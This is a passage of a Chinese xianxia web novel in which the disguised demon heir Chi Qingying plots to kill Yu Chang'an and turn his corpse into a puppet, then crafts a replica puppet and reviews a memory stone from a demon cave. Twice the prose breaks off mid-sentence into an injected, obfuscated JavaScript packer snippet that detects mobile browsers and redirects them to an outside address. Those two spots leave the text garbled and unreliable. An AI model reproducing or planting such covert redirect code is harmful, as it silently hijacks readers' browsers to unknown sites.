令他心头微悸的是,幂篱下的身影并未有任何躲闪之意。 一只微凉的手,轻轻搭在了他的掌心。 迟清影的指尖立时被一阵温煦的暖意握住。 他却在冷冷心想。 既然好用,不用白不用。 这些天,他早已想通了最直接有效的方案—— 将郁长安炼制成一具完美的傀儡。 成为任他予取予求的长效解药。 这才是迟清影主动现身,与人缓和关系的真正目的。 若不靠近。 如何能寻得将其一击必杀的良机? 这也是迟清影深思熟虑后的最优解。 矿窟深处,那次强度骇人的双修。 如果再经历一回。 即便有圣灵髓护体,他这羸弱的身躯也未必能承受。 但若是炼成傀儡,郁长安便可任他摆布。 想如何解毒,就如何解毒。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16145188|179759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>想取多少“药引”,便取多少“药引”。 一切,随他掌控。 心下杀机凛然,迟清影面上却未露分毫。 他反而沉腕,取出那团柔和纯净的圣灵髓。 递到了郁长安面前。 眼见这足以令整个修真界疯狂的至宝,郁长安却并未去接,反而沉声道。 “收好它。” 柔光映亮他冷峻的脸,那双瞋黑眼眸中却并没有丝毫贪婪之念。 “此物太过珍贵,一旦泄露,恐引滔天祸端。” “待你修为提升,将其彻底炼化,融入紫府本源,方能真正安全。” 迟清影动作微顿:“……我吸收?” “自然。” 郁长安语气笃定,仿佛这是天经地义、不容置喙。 “这本就是你的机缘。” 他顿了顿,又低声叮嘱,带着一种只对眼前人才会流露的细致周全。 “圣灵髓之事,万勿透露。” “纵是至亲挚友,亦不可轻言。” 迟清影透过轻纱看他,片刻,才将圣灵髓缓缓收回。 “多谢提醒。” 清冷的嗓音无波。 幂篱之下,他唇线却极淡地抿起。心想。 那更得杀了你。 现在知晓这惊天秘密的,唯有他们两人。 郁长安提醒的没错。 在将这至宝彻底据为己有之前,他谁也不会信。 * 仙门大比决赛,异魔凶险异常。 为确保诸多天骄安危,规则允许最多五人组队,共闯秘境。 郁长安、迟清影、方逢时、傅九川四人联手。 最终以无可争议的功勋,摘得魁首桂冠。 更令人瞩目的是,那单人斩魔的最高记录。 也被郁长安悍然摘下。 煌煌剑光,如日贯虹。 郁长安的名字,挟着赫赫凶威与无匹锋芒,至此更是响彻四洲,无人不知。 大比落幕,胜者还未散去。 此次前来大比的诸多宗门元老,竟纷纷现身。 原来,此次仙门大比,明为争锋,实为遴选。 真正的目的,实际上是为选出年轻一代的天骄,集结大军,直指魔教腹心。 仙修与魔修,本就对立。 异魔出现后,因为魔气也会被侵吞。 魔修势力也难占上风。 但却有卑劣的魔修,趁机生事。 或假借异魔凶威,劫掠仙修。 或阴险设伏,引诱异魔前来,屠戮仙门。 而且闹出这数桩血案的魔修,都出自魔教。 魔教本身也是魔门的势力魁首。 其他散修小宗,皆不成气候。 仙门诸宗震怒,剿魔之师,已成燎原之势。 群情激愤,战意如潮。 年轻天骄们闻此恶行,无不义愤填膺,纷纷请缨。 郁长安凭借大比中无可争议的卓绝实力与沉稳气度,当之无愧地被推举为仙门联军之首。 时机紧迫,各大宗门决议趁大比余温未散,精锐齐聚之机,雷霆出击。 等到魔教察觉时,仙门大军已如天兵降临,直捣黄龙。 密室内,各家掌权者迅速分配任务,共享情报。 最令仙门忌惮的人,莫过于魔教之主——魔尊。 四洲仙道,元婴巅峰已是绝顶。 还尽数是些闭了死关、不问尘世的太上长老。 而魔尊,却传闻早已突破元婴桎梏。 成了此番清剿最大的变数。 厅堂中,年轻天骄亦汇聚一室。 迟清影端坐角落,雪色幂篱遮面,清冷如霜。 一片激愤的讨伐声中,唯有他未置一词。 仿佛置身事外。 然而,当一条关键情报传入耳中时。 他执杯的指尖,几不可察地微微一凝。 密室中,有人在说。 魔尊闭关多年,教中大事鲜少露面。 若能趁其闭关完成清剿,可免无数伤亡。 但传闻魔尊的血脉特殊。 若有至亲在世,凭借血脉秘法,或可将其唤醒。 故务必严防其血亲。 魔尊血脉单薄,同辈亲长早已离世。 只余一个飘渺的传闻。 ——他或许尚存一子。 更让迟清影惊心的是。 南洲皇子有言。 数百年前,皇室长老曾与魔尊血战。 其激战至酣时,身上曾显现诡谲秘纹。 其子嗣,或亦身负此纹。 南洲皇室已经专程遣人,要将封存多年的秘纹图谱送来。 准备供几位领军人物传看。 迟清影的身形瞬间凝滞。 暴露了。 在潭底,他曾被郁长安掐着脸颊将舌尖秘纹强行吻出。 不知多少次。 迟清影不动声色地收回散布在各处窃听的傀儡灰蝶。 雪色衣袂无声翻卷,他起身,径直去寻郁长安。 他强迫自己冷静迈步,脑中却不受控地闪过原书冰冷的字句—— 书中那个顶着仙修伪装的魔子,也曾与主角有过短暂的平和相处。 而后再遇,却是主角猝不及防的暴起,一剑穿心! 细节吝啬,因为迟清影在书中的戏份实在太少了。 但他几乎确信。 那致命的转折点,便是魔子身份的暴露。 三年来,他如履薄冰,竭力掩饰魔气。 只为藏住这致命的身份。 可如今。 终究还是走到了这一步。 寻至郁长安居所,却不见人影。 迟清影指尖轻弹,一只灰蝶悄无声息融入暮色。 很快,远处庭院中的对话,清晰送入他耳中。 “……那秘纹已经送到?你亲眼见过了?” 傅九川的声音压得极低。 郁长安的回答低沉而清晰:“嗯。” “啧,连这等秘辛都舍得抖出来,看来真是下了血本了。” 傅九川问。 “后日便要动身?” “是。” 郁长安的声音沉稳依旧。 “明日,我尚有一事需当众言明。” 迟清影的心骤然一沉。 明日言明何事? 脚步声由远及近。 郁长安与傅九川已行至茶室门前,正撞见静立其中的迟清影。 傅九川见状,识趣地拱手告退。 茶室内,唯余两人相对。 郁长安的目光,落在迟清影身上,嗓音更沉缓了一分。 “身体可好些了?” 迟清影的声音隔着幂篱传出,清冷无波。 “无妨。” 郁长安微微颔首,沉吟片刻,才道。 “明日,我有要事,需与你一谈。” 话音落下,如同重锤击在迟清影心头。 最后一丝侥幸,彻底粉碎。 果然。 他要揭穿自己身份了。 幂篱之下,迟清影声音平静如初。 “好。” 他心意已绝,甚至没再浪费口舌,问一句明日何事。 无论是为了守住自己的身份秘密。 还是炼成这具任他摆布的解药傀儡。 郁长安,都必须死。 刻不容缓。 这念头炽烈如火,无时不在灼烧着理智。 可是心底深处,一股难以言喻的渺茫感,却在冰凉蔓开。 三年来,无数次筹谋,无数次失手。 这一次…… 他真的能杀死这煌煌如日、气运加身的天命之子吗? 12.练手 第十二章 迟清影确实成功了。 郁长安的尸身,此刻正静静躺在他面前的灵台之上。 郁长安死后,尸身的骨血之内仍留有剑意。 所以迟清影这时触及,才会被那熟悉的煌明剑意灼伤。 不过显然,那是一种无意识的自发防御。 只是迟清影,对那矿窟深处七日七夜烙印下的灼热气息仍有阴影。 才短暂地恍神了一刹。 待那层护体的剑意褪去,迟清影便也终于得以探入郁长安的前额紫府。 果然。 此刻其中空茫一片。 元神散尽,唯余荒芜的死寂。 然而,就在这片死寂的中央。 一抹冰蓝色的微光正静静悬浮着。 它细弱,微渺,如同寒夜将尽时,最后一捧不肯消融的薄雪。 那是属于迟清影的灵气。 它居然真的留存了下来,凝聚在郁长安寂灭的紫府之中。 是双修留下的羁绊么? 迟清影的心底掠过一丝思量。 仙门大比后,那株能斩断双修关联的断缘草,作为魁首奖励,虽已到手。 但紧随而来的魔教清剿大战,却让两人无暇使用。 迟清影也未曾主动提起。 他需要利用这双修关系来解毒。 如今,这未断的关联,于他反而成了幸事。 而且。 若他的灵气真能蕴养郁长安的尸身。 总比一直依赖那霜寒刺骨的玄冰灵台要好。 迟清影实在不想再体会一次玄冰石上的双修了。 身上身下,冰火交煎。 刻骨铭心。 简直是伤筋动骨。 又有前来吊唁的修士步入肃穆的灵堂。 迟清影不动声色地收回神识,后退几步,重新站回了守灵的位置。 那清绝单薄的身影,与灵台上毫无生气的英俊面容相对而立。 形成一幅寂静而萧索的画卷。 令人见之哀恸。 而此刻,迟清影还在想。 自那场被迫的双修之后,他与郁长安之间,终究有了不同。 至少之前,天翎剑不会如此驯服地为他所持。 探查紫府也不会这般顺畅轻易。 但—— 迟清影眉尖几不可察地一蹙。 若双修之后,郁长安对他的灵气当真如此敏锐,那之前…… 思绪被守灵厅入口处细微的声响打断。 有人走了进来。 前来吊唁的其他修士看见,目光却不由自主地偏移,最终都落在了灵台边清冷如霜雪的迟清影身上。 迟清影略有所感,抬眸望去。 来人是一位女修。 她一袭水蓝流云裙,身姿窈窕,容色倾城。雪肤玉骨,肌肤胜雪,尽态极妍。 一进来,似乎连日光都明澈了几分。 然而这份倾世之美,却被一股凛冽如深冬霜雪的寒意牢牢笼罩。 拒人于千里之外。 “是霜林仙子,林尽染……” 当即有人低语,道破了来者的身份。 东洲林尽染。 与她那倾世容颜一同名扬四洲的,还有她嫉恶如仇的刚烈品性。 近年来异魔肆虐,更有宵小趁火打劫,为祸四方。 林尽染虽是半步金丹,尚未真正结丹,无法正面与异魔对抗。 但对那些残害生灵的魔修恶徒,她却从不手软。 此刻她步入灵堂,眉目极美,周身却带着一丝尚未散尽、若有似无的血气。 似乎也是刚刚经历了一场除恶的激战。 林尽染神色肃穆冷凝,对周遭各方视线视若无睹,径直行至灵台前。 对着郁长安的遗体,她郑重地躬身祭拜。 礼毕,她那双仿佛蕴着霜雪的眸子,转向了静立一旁的迟清影。 迟清影静立原地,雪色幂篱垂落,身形分毫未动。 依旧如冰雕雪砌。 直到今日的祭奠结束,唁客也都尽数散去。 迟清影才准备离开灵堂。 未等他向灵堂外的护卫开口,一名身着东洲服饰的仆从已快步上前,恭敬行礼。 “迟仙长,我家主人于听雨轩相候,请您移步一叙。” 其主人身份,不言而喻。 一旁恰好有几位东洲修士尚未离去,闻听此言,面上皆露担忧之色。 其中一人上前一步,委婉道。 “迟仙友,我等与霜林仙子也有些交情,此刻相邀……或可需要我等一同前往?” 这担忧也并非空穴来风。 三年前,四洲共举“天下第一美人”的名号择选。 本是东洲林尽染的呼声最高。 未料迟清影横空出世,一袭雪衣,以冷月清辉之姿,生生夺走了那顶桂冠。 此事虽已过去三年。 但这位素来冷傲的仙子,此时在郁真人的停灵之地突然相邀。 难免让人联想到旧怨,担忧会她借机发难。 迟清影脚步微顿。 幂篱轻纱之下,美人神情难辨。 只听得一个清冷无波的嗓音,如寒泉倾淌,悦耳清心。 “多谢。不必。” 话音落下。 那霜白身影已没入了渐浓的暮色之中。 * 听雨轩内。 水蓝身影背门而立,身姿飒利。 迟清影步入轩中,步履无声。 他刚于案前落座。 一个唇红齿白、粉雕玉琢的小茶童,便捧着几乎有自己半身大的沉重茶盘,小心翼翼地走了进来。 茶童身量矮小,尚不及桌高,捧着托盘的白嫩小胖手带着可爱的浅涡,动作笨拙却无比认真。 他安静地闭着双眼,长长的睫毛如蝶翼覆盖,恭敬地为两人奉上清茶。 “坐。”迟清影的声音清冽如碎玉,打破了室内的静谧。 林尽染闻声转过身。她目光如电,掠过迟清影幂篱下若隐若现的苍白下颌,最终落在他执杯的修长手指上。 那手指骨节分明,却透着一股病态的冷白。 “你还在除杀异魔?”她开口,语气中的锋芒并未有任何掩饰。 迟清影端起白瓷茶盏,轻纱微掀,露出一张苍白清绝的侧颜。 他垂眸,浅啜一口清茶。 “借好友遗泽,略尽绵力罢了。” 林尽染视线扫过,停在茶童那张始终紧闭双眼、白嫩无瑕的小脸上,眉头不易察觉地一蹙。 这人的傀儡之术,竟已精进如斯! 若非她早知迟清影身边无一活物,方才竟完全未能识破这闭眼小童的真相。 也是此刻,林尽染才看清茶童的手中托盘上,一并奉给她的东西。 那是数枚寒气凛冽的极品玄冰石,一小袋流光溢彩的寒晶砂。 她的眉心立时蹙起。 “我不是为此,才来寻你。” “聊表谢意。” 迟清影依旧淡然,仿佛那足以令无数修士眼红的珍稀材料,只是寻常物件。 “多谢仙子先前所赠的御寒大氅。” “送东西也不是为了让你去冒险!” 林尽染的声音陡然拔高,愈发凛冽。 “你可知你赴寒潭,杀异魔,前日还只身独闯黑水崖,究竟有多么凶险?” 一连串质问,绝对算不上温和。 但这锋芒之下,却透露出。 两人关系并非外界所揣测的水火不容。 林尽染深吸一口气,压下翻涌的情绪。 她的声音恢复了清泠,却更显凝重。 “如今魔教已然盯上了你。左护法公开放出消息,说你乃是魔教少主,是魔尊的唯一血脉。” 此行,林尽染分明是专程前来示警。 字字句句,皆是担忧。 迟清影平静抬眼,嗓音依旧未生波澜。 “有人信?” 明明是问句。 却带着奇异的安抚与笃定。 林尽染沉默片刻。 确实无人再信。 如果说,之前仙门中还有各种顾虑猜疑。 但在黑水崖畔,迟清影为郁长安的冲天一怒之后。 整个仙门对他的敬重,已是无可动摇。 左护法此时再放出传言,只会被斥为荒诞,徒惹人笑。 “流言蜚语,不足为虑。”迟清影道。 “那你呢?” 林尽染目光紧锁着他。 “如今你身负天翎剑,无人不知。魔教视你为眼中钉,仙门亦有人暗中觊觎。” “风头太盛,绝非幸事。郁真人……便是让人痛心的前车之鉴。” “无妨。” 迟清影的声音平静依旧,像磐石立于激流。 “我只在做我该做之事。” 林尽染终是沉默。 轩内只剩下窗外的晚风声。 她看着眼前这张清艳绝尘却过分苍白的侧脸,心中复杂难言。 自从郁真人身故,这人愈发沉静无波。 仿佛将所有情绪敛于冰层之下。 深不可测,难以捉摸。 “他真的……改变你如此之深吗?” 一丝喟叹几不可闻。 “谁?”迟清影问。 “……没什么。” 林尽染敛去眼底情绪,声音恢复清湛,不再多言,转身便走。 那闭着眼的小茶童连忙捧起托盘上的谢礼,迈着小短腿,啪嗒啪嗒地追了上去。 此情此景,与半月前,寒潭之行前何其相似。 彼时,林尽染亦是气势汹汹而来,却是只为塞给他一件御寒法衣。 今日她专程前来,同样不过是为了传递一则警讯。 迟清影慢慢放下手中的白瓷茶盏,指尖摩挲着微凉的杯壁。 这位霜林仙子的性子,倒真是像极了她那位雷厉风行又护短的母亲。 * 林尽染离去不久,傅九川与方逢时便寻至了听雨轩。 方逢时面有忧色。 “前辈,方才林仙子前来,可是有事?” 迟清影只淡淡道:“些许闲事。” 傅九川犹豫片刻,面色有些古怪。 他终究还是开口。 “迟兄,近日外面似乎有些流言。” 他斟酌词句。 “传闻说迟兄与林仙子,乃是一对璧人,还说你当年去赢得那‘天下第一美人’的称号,就是为了保护爱侣,替她挡去觊觎。” “不少人信以为真,都说二位气质相近,皆是清冷高洁。站在一起,十足般配,还颇有……夫妻相。” 迟清影:“……” 两人的容貌确有几分相似。 因为林尽染是他表姐。 那些捕风捉影的流言里,有一点倒是歪打正着。 迟清影当年,的确是故意去赢下了那“天下第一美人”的名号。 对此等招摇的名号,他本避之不及。 徒惹瞩目,行事反受掣肘。 但迟清影不得不去。 因为那场看似囊括四洲修士的盛名只选,实则是南洲皇族在幕后极力推动。 目的,便是物色天赋卓绝的女修,为皇族联姻铺路。 原书中,摘得次名号的林尽染,最终便与南洲一位皇子定下了婚约。 林尽染生性勤勉,又身负罕见的变异双灵根。 她年纪轻轻便已臻筑基圆满,冲击金丹指日可待。 而南洲皇室,恰好珍藏有能助益结丹的稀世丹药——破镜丹。 加之那位皇子温润如玉,风度翩翩,给人印象颇佳。 一切看似天作之合。 然而在婚后没多久,林尽染有了喜脉。 她却是突遭横祸,一尸两命。 原来真相残酷。 南洲皇族所求的联姻,不过是为了寻一资质上佳的女修,诞下子嗣。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16150305|179759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以亲生血脉,为焚心体质的皇子,分担那与生俱来的煞气。 从一开始,这就是一场精心算计的骗局。 林尽染分明前途无量。 却因所信非人,无辜葬送了性命。 迟清影不愿她重蹈覆辙。 也不想让其他女修,顶替遭劫。 思虑再三,唯有他自己亲自下场,搅乱这局棋。 毕竟男子之身,无法孕育子嗣。 自然失去了联姻的价值。 迟清影与表姐容貌有几分相似,在相貌评比中过关,自然不是难事。 而后续环节,他亦有把握。 南洲皇族以御兽之术闻名天下。 评选自然也加入了与灵兽亲和之力的考验。 迟清影身具单水灵根,天生对水系灵兽有着极强的吸引力。 更何况,他还是鲸吞之体。 幻化出几分精纯的妖气,易如反掌。 于是在万众瞩目之下。 那只以暴戾凶残著称、曾伤过无数修士的碧水玄蛟,竟在迟清影面前,温顺地伏低了庞大的身躯。 粗粝的舌信带着湿热的腥气,小心地舔过了他纤白的手腕。 至此毫无悬念,迟清影摘下了那顶耀眼而烫手的名号。 南洲皇室的算盘,就此落空。 林尽染也一直安然无恙。 如今已步入了半步金丹。 此中缘由,自然不足为外人道。 两人之间的血缘关系,也从未公开。 “迟兄放心。” 傅九川见他沉默,道。 “我已派人肃清流言,必不会让这些无稽之谈继续流传。” “有劳。” 迟清影颔首。 “我无妨,莫扰了仙子清誉。” 因郁长安后日便要下葬,三人又商议了一番安葬事宜的诸般细节。 待傅九川与方逢时告辞离去,夜色已深。 迟清影回到静室。 房门落锁。 他的袖中无声滑出一枚通体漆黑、隐有血色纹路的玉牌。 正是魔教的秘传之物。 玉牌幽光微闪,传来易别柳的密讯。 正如迟清影所预料。 计划已成。 左护法处心积虑散布的身份流言,如今已无人采信。 迟清影指尖拂过,玉牌在他指间消失不见。 那双沉静的眼眸中,不见丝毫松懈。 他知道。 流言如野草,斩之不尽。 若是日后反复提及,难免会再生疑窦。 但只要没有郁长安这种逆天级别的Bug在。 就威胁不到迟清影的分毫。 夜色如墨,万籁俱寂。 迟清影却照旧,并未安寝。 他盘膝坐于静室中央,周身弥漫着一层肉眼可见的、带着不祥气息的淡灰色蚀气。 这蚀气并非外来。 而是他之前于仙门大比中、接悬杀令诛灭异魔时,以银白傀儡,强行吞纳的异魔蚀气。 此刻,迟清影戴着银质指套的修长手指翩然而动。 这些饱含戾气的蚀气,正被他以精妙绝伦的操控力,一丝丝抽离、淬炼、重塑。 最终于他指尖,凝聚成缕缕坚韧而冰冷的霜白丝线。 ——傀儡丝。 不同于寻常傀儡师,需要依赖法宝、灵石或繁复的法诀操控。 迟清影的银白傀儡,只需这由他亲手炼制的蚀气傀儡丝便可驱动。 如臂使指。 之前寒潭一战,郁长安的煌煌剑意之下,迟清影苦心炼制的近百具银白傀儡尽数化为碎片。 事后,迟清影便在自己的储物戒中,发现了堆积如山的珍稀炼材。 想来是某人的赔罪致歉。 倒是不用他再费心去寻了。 如今,不过短短十日光景,迟清影竟已凭借这些材料,重新炼制出数十具崭新的银白傀儡。 这近乎压榨元神的高强度炼制,让他傀儡之术愈发精纯娴熟,臻至化境。 却也使迟清影本就苍白的脸色,更显出几分脆弱透明。 幽光映衬之下。 仿佛他才是一尊易碎的琉璃人偶。 此刻,迟清影神情专注,指尖牵引着新炼的傀儡丝。 将蚀气注入面前一具新生的傀儡核心。 但这一次,迟清影炼制的傀儡,却与以往截然不同—— 苍白的指尖在缓缓勾勒、雕琢。 那模糊的面部轮廓之上,竟渐渐显露出清晰的五官。 再隔一日,便是郁长安的下葬之期。 迟清影欲将其尸身炼成药傀,化为己用。 然而,那具尸身残留的煌明剑意,霸道凛冽,极难驯服。 为保万全,还需先行练手。 所以,迟清影才会如此行事—— 复刻出一具,与郁长安一模一样的傀儡。 灰光流转,面容渐成。 眉峰如剑,鼻梁高挺,清晰冷厉的下颌线条…… 迟清影指尖悬停,眸光微凝。 太像了。 眉梢眼角的气势,鬓发微扬的弧度…… 竟是分毫不差。 那七日的抵死缠绵,居然烙下了如此深刻的印记。 无需回想,那人的模样便已纤毫毕现。 过往的银白傀儡,皆为无相之面。 此刻,却是迟清影第一次,为傀儡刻全五官。 更是他第一次,尝试点睛。 指尖凝聚一点精纯灵光,缓缓落向傀儡紧闭的眼睑。 那眼睫,似乎极轻微地颤动了一下。 紧接着,那双眼睛无声睁开。 深邃,幽暗,如沉寂万载的深渊。 但迟清影的呼吸,却在这一刻骤然凝滞。 因为那瞳孔深处流转,并非熟悉的瞋黑墨色,而是一种冰冷、漠然、纯粹到令人心悸的—— 非人的金瞳。 13.真相 第十三章 迟清影的呼吸骤然停滞。 空气仿佛被冻结。 待他回神,才惊觉自己不知何时已然横鞭在手。 一抹白霜般的鞭影——照夜白。 凛冽地隔在他与那双金瞳之间。 周遭近乎被凝固。 傀儡依旧静坐原地,毫无波澜的金色眼眸倒映着他的身影。 那纯粹的金色,剔除了所有生者的温度。 唯余一种令人心悸的漠然寒意。 迟清影的胸口微一起伏,闭了闭眼。 他指尖微松。 银白长鞭冷光流转,无声地没入虚空之中。 方才那一瞬的惊悸,竟让他险些忘了—— 这傀儡,是他亲手炼制,由他操控。 未曾下令,它自然纹丝不动。 静室阒然。 迟清影指尖轻抬。 暗银色的镂空指套覆于苍白指节,流转着冷冽幽光。 薄光穿透孔洞,映照出其中游走的、几近透明的霜白丝线。 如同凝固的琴弦,又似无形的绞索。 紧扼着傀儡的命脉。 微光轻点。 傀儡那双令人心悸的金瞳,终于缓缓阖上。 迟清影凝神静气,将蚀气与精纯的灵气交织缠绕。 片刻之后,他以指笼牵引,将微光再次注入。 须臾,面前傀儡的那双眼瞳再度睁开。 这一次,映入眼帘的。 是熟悉无比,沉静如夜的墨色。 迟清影微不可察地松了口气。 清绝面容间,方才的失态早已敛去,只余下惯常的疏离。 他正对着傀儡,并未察觉。 在某个微妙的角度,微光滑过那瞋黑眼眸的深处。 竟仍有一丝冰冷的金芒,如同深渊底部的流金暗火。 悄然流转,一闪而没。 迟清影定心,将神识放出,无声无息地没入傀儡的前额。 内里,果然空空如也。 毕竟再完美的复刻,也并非本尊。 不可能拥有那磅礴恐怖、蕴藏剑意的紫府。 不过,当迟清影尝试将自身灵气注入其中。 那缕冰蓝色的灵力,竟当真可以在傀儡的前额空间短暂地停留、流转。 并未立刻消散。 迟清影心下微宽。 成了。 不像大脑、心脏,这种血肉之躯的生理器官。 紫府、灵根,这些是关乎修士本源的存在,玄之又玄,非金石所能模拟。 纵使傀儡之术再如何精妙绝伦,也难以凭空造出。 但迟清影以阵法为基,在傀儡体内构筑出了精密的紫府与经脉网络。 此刻灵气能短暂驻留流转。 便证明这种模拟已然成功。 眼前这具傀儡。 已是在最大程度上,完成了对郁长安形神的双重复刻。 确认至此,迟清影依旧没有松懈。 他的神识愈发精微,自傀儡的前额向下。 开始一寸一寸地,对经脉进行细致摸索与探查。 专注而深入。 如同最轻柔的指尖,拂过最隐秘的脉络。 迟清影专注于探查,浑然未觉。 一种隐秘而克制的暧昧,却已在静默中悄然弥漫。 仿佛他描摹探析的,并非一具傀儡。 而是一具曾与他无比亲密的身躯。 他的查探太过投入,也未曾发觉。 傀儡那双沉静的墨眸深处,那丝潜藏的金芒,比之先前,竟是又明亮了一分。 霜凉而幽邃。 终于,确认每一寸模拟经脉都畅通无阻。 迟清影才缓缓收回神识,指尖的微光也悄然散去。 夜色更深,浓稠如墨。 一道灰色的身影,如同融入阴影的雾气。 悄无声息地浮现于静室的角落。 来人下半张脸紧紧裹满了绷带,只露出一双沉寂无波的灰色眼眸。 他目无旁骛,对端坐于迟清影面前、与郁长安别无二致的傀儡视若无睹。 仿佛这场景惯例寻常。 不值得任何惊讶。 他矮身跪立,将一物双手奉上。动作无声,姿态恭谨。 正是迟清影的暗卫。 无问。 无问的存在感极其稀薄,如夜色中的暗影。 此时即便有修士以神识扫过,也难以捕捉到他的丝毫生息。 迟清影也并未回头。 但他却像是早有感知。 只微一抬手,便接过了无问奉上的东西。 入手粗糙,带着未经打磨的毛砺感。 像是从山壁上硬生生剥落下来。 但当表层的石皮被剥离,内里却光滑如镜,流转着幽暗光泽。 这是一枚留影石。 一枚自那魔窟深处寻回。 刻录了郁长安临死前最后影像的留影石。 迟清影特意命无问潜入已经坍塌的魔窟,苦寻多日,终于找回此物。 正是为印证白日他心底盘亘的那点疑虑—— 若双修之后,郁长安对他的灵气当真敏锐至此。 那么,在郁长安濒临陨落、临死弥留的那一刻…… 他注意到自己了吗? 冰凉的留影石静静躺在迟清影苍白的掌心。 他指尖轻动,灵光微闪。 幽暗的光泽如水波般荡漾开来。 一幅清晰的影像,在静室中无声铺展。 最初的画面,是浩渺苍穹。 一轮巨大的银月悬于墨蓝天幕,清辉如练,洒遍人间。 夜风在高空呼啸,卷动衣袂猎猎。 迟清影认出。 这正是南洲送来秘纹图谱,他惊觉自己身份可能暴露的那一天。 由于事态紧急,当晚,他们便连夜启程,赶赴魔窟。 这枚留影石,便是为此次行动所备。 从启程之初,便开始记录。 影像中,月光如洗。 天翎剑破空而行,稳稳浮于云海之上。 郁长安立于剑首,身姿挺拔,沉稳如山岳。 他的目光,却并未投向脚下飞掠的壮丽景色,而是微微侧首,落在身侧的迟清影。 “怎么了?” 迟清影的声音传来,清冽如寒泉碎玉。 他那时并未回头,只留给影像一个清绝孤冷的侧影。 月光勾勒着他精致的轮廓,雪色的垂纱在风中翻飞,仿佛随时会乘风归去的谪仙,脆弱又昳丽。 “没什么。” 郁长安的声音不高,却奇异地穿透呼啸风声,沉稳有力。 此行紧迫,未用灵骑马车,而是御剑疾行。 迟清影尚未结丹,无法御空,自然由郁长安携行。 虽有煌明剑意化作无形屏障,隔绝了凛冽的罡风。 但高空独有的寒意与气流,依旧透过屏障缝隙,卷动着两人的衣袍。 “冷么?” 郁长安的声音再次响起,低磁沉稳,带着让人难以拒绝的关切。 影像里,迟清影微微摇头。 他的长发被风吹拂,几缕贴在苍白得近乎透明的脸颊。 迟清影却是将视线垂落,望向下方飞速掠过的大地山河。 层峦叠嶂在月光下勾勒出苍茫的轮廓,蜿蜒的江河如同银带闪烁。 在夜色中,呈现出奇异而瑰丽的景色。 这是迟清影前世身处末世,困守狭窄基地时,从未见过的秀美与辽阔。 于此刻,竟有一丝近乎奢侈的难得平静。 也不知…… 以后还能否再有机会这般俯瞰了。 也是这时,留影石的视角清晰地捕捉到了一个细节。 纵使脚下风光壮美如斯。 郁长安的目光,却始终胶着在身侧那道清绝身影之上。 月光之下,那专注的凝视,带着一种深沉难喻、无以言明的意味。 迟清影沉默看着留影石投射的光影,心想。 果然如此。 郁长安从那时起,便已在时时提防着他了。 留影石的影像如水波流转,场景倏然变幻。 清冷的月色褪去。 取而代之的,是一片压抑的黑暗。 魔窟的入口,如同巨兽狰狞的咽喉,吞噬着一切光线。 此处本是上古遗留的魔界裂隙,枝杈密布,错综复杂。 被魔教占据经营多年,已成为其连通两界的隐秘通道。 若不提前将其摧毁,一旦魔教主力察觉围剿之势,便可由此从容遁入魔界。 如鱼入海,后患无穷。 正因如此,仙门联军才决意派遣精锐天骄,深入虎穴。 务求在决战之前,彻底封死这条退路。 影像中,以郁长安为首一行年轻天骄抵达此处,并未冒进。 众人身着各色仙门服饰,神情肃穆。 入口处尚算平静,只有呜咽的阴风,与弥漫的淡淡魔气。 然而,随着深入,洞窟内光线愈发稀薄。 众人的神识也都被压缩到了极致。 黑暗粘稠得令人窒息,每一步都踏在未知的危险之上。 无人敢掉以轻心。 行至深处,一块巨大的石碑突兀地矗立在前路中央,阻断了去路。 石碑通体漆黑,表面流淌着幽暗的符文,散发着古老而诡谲的气息。 队伍中一位出身传代世家、专研古籍的女修林薇,低声惊呼。 “界魂石?” “古籍有载,此为阴阳两界的分界奇物!传说神识探入,可窥见前世之影。” 众人面面相觑。 妄动此等异宝,吉凶难料。 但此石又堵死了唯一通路,绕无可绕。 林薇当先站出。 她所修的心镜通明诀,本就专精神识之道。 林薇凝神静气,一缕清净神识探入石碑。 片刻后,她面色微白,睁开双眼,却摇了摇头。 “神识如坠白雾,混沌一片,什么也未能窥见。” 紧接着,又有一位身如铁塔,以炼体闻名的重剑修士,雷焕上前。 他依样探入了神识。 然而仅仅数息,那魁梧的身躯便剧烈颤抖起来,额头青筋暴起,冷汗如瀑,仿佛正承受着莫大痛苦。 良久,雷焕才猛地抽回神识,虚脱般踉跄一步,声音带着未散的惊悸。 “确、确是前世!是个凡俗樵夫,被山洪吞没。” “那横死的感受太过真实,如同亲历,险些心神失守,猝不及防便被排斥而出!” 众人被这诡谲实感所慑,一时阒静。 气氛更显凝重。 迟清影静立一旁,雪衣在幽暗中仿佛自带微光,清冷得不似凡尘中人。 眼前这尘世的一切,仿佛也与他无关。 “清影,你怎么看?” 郁长安的声音打破了沉寂。 瞬间,所有人的视线都聚焦于那道清绝身影。 幂篱轻纱未动。 迟清影的声音亦平静无波。 “或许,直面前世横死之痛,便是破局关键。” “但需心志坚毅,方能承受那濒死之境的冲击,找出破绽,撼动此石。” 此言一出,众天骄皆露恍然之色,深以为然。 看向迟清影的目光中,不禁更添了几分钦佩。 “不愧是迟仙友,对这等奇门异诡之物,自有天赋,洞见如此敏锐!” 迟清影对一应赞誉,都如若未闻。 他缓步上前,伸出修长如玉的手指,轻轻搭在冰冷的界魂石表面。 那指尖的莹白与黑石的幽暗形成极致对比,引得人移不开眼。 闭目感知片刻,他收回手,清冷的声音再度响起。 